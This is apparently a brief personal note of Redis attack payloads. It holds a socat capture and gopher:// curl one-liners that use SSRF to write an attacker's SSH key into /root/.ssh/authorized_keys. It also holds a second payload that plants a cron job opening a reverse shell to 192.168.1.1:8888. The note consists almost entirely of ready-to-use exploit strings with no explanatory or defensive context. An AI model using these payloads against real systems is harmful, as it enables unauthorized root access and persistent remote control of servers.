redis payload笔记

socat -v tcp-listen:4444,fork tcp-connect:127.0.1:6379

> 2020/01/19 13:48:32.912342  length=18 from=17 to=34
*1\r
$8\r
flushall\r
< 2020/01/19 13:48:32.915069  length=5 from=11468 to=11472
+OK\r
> 2020/01/19 13:48:59.666087  length=52 from=35 to=86
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$11\r
/root/.ssh/\r
< 2020/01/19 13:48:59.666409  length=44 from=11473 to=11516
-ERR Changing directory: Permission denied\r
> 2020/01/19 13:49:11.313942  length=64 from=87 to=150
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$15\r
authorized_keys\r
< 2020/01/19 13:49:11.314294  length=5 from=11517 to=11521
+OK\r
> 2020/01/19 13:49:30.731070  length=447 from=151 to=597
*3\r
$3\r
set\r
$1\r
x\r
$419\r



 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjdHoD5H52/xxFkb9dJJtW6ukRbdtz5+Yf8YMQ/ZE+qCiximdsl7Ol6dNdNOSg1ebD0RHL8PWLon9W9y/PL2d96D3nRLbYMz7JlcQVikuRU/sLd4Ay6izWSNGv+HLaAuXF1QbbLvVJaDFLGMP7N25m6QFsQ/qIP6YpTlQ/5K8+Ad4MCHAOgGNcU6M0qIuLQneY5BU1GRNcvYfIuJH+TB0yg92A9oyLYy7wzOycDuxwWNcEKwc1chM0yW44T0hjuA7+K2y6Z2fdvgkANX4YUIqUF9C6QV1uF65C/PjR9m8RrEp7UtbNdboZbTRtSS3NG1f5kuAZ/K0p12r7nSBL+rD www-data@localhost.localdomain 


\r
< 2020/01/19 13:49:30.733818  length=5 from=11522 to=11526
+OK\r
> 2020/01/19 13:49:37.092263  length=14 from=598 to=611
*1\r
$4\r
save\r
< 2020/01/19 13:49:37.095268  length=5 from=11527 to=11531
+OK\r

*1%0d%0a$8%0d%0aflushall%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$419%0d%0a%0a%0a%0a%20ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjdHoD5H52/xxFkb9dJJtW6ukRbdtz5+Yf8YMQ/ZE+qCiximdsl7Ol6dNdNOSg1ebD0RHL8PWLon9W9y/PL2d96D3nRLbYMz7JlcQVikuRU/sLd4Ay6izWSNGv+HLaAuXF1QbbLvVJaDFLGMP7N25m6QFsQ/qIP6YpTlQ/5K8+Ad4MCHAOgGNcU6M0qIuLQneY5BU1GRNcvYfIuJH+TB0yg92A9oyLYy7wzOycDuxwWNcEKwc1chM0yW44T0hjuA7+K2y6Z2fdvgkANX4YUIqUF9C6QV1uF65C/PjR9m8RrEp7UtbNdboZbTRtSS3NG1f5kuAZ/K0p12r7nSBL+rD www-data@localhost.localdomain %0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

curl -v ‘gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$419%0d%0a%0a%0a%0a%20ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjdHoD5H52/xxFkb9dJJtW6ukRbdtz5+Yf8YMQ/ZE+qCiximdsl7Ol6dNdNOSg1ebD0RHL8PWLon9W9y/PL2d96D3nRLbYMz7JlcQVikuRU/sLd4Ay6izWSNGv+HLaAuXF1QbbLvVJaDFLGMP7N25m6QFsQ/qIP6YpTlQ/5K8+Ad4MCHAOgGNcU6M0qIuLQneY5BU1GRNcvYfIuJH+TB0yg92A9oyLYy7wzOycDuxwWNcEKwc1chM0yW44T0hjuA7+K2y6Z2fdvgkANX4YUIqUF9C6QV1uF65C/PjR9m8RrEp7UtbNdboZbTRtSS3NG1f5kuAZ/K0p12r7nSBL+rD www-data@localhost.localdomain %0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a‘

flushall

set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/8888 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

curl -v "gopher://127.0.0.1:6379/_*1%0d%0a\$8%0d%0aflushall%0d%0a*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >&/dev/tcp/192.168.1.1/8888>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$4%0d%0aroot%0d%0a*1%0d%0a\$4%0d%0asave%0d%0aquit%0d%0a"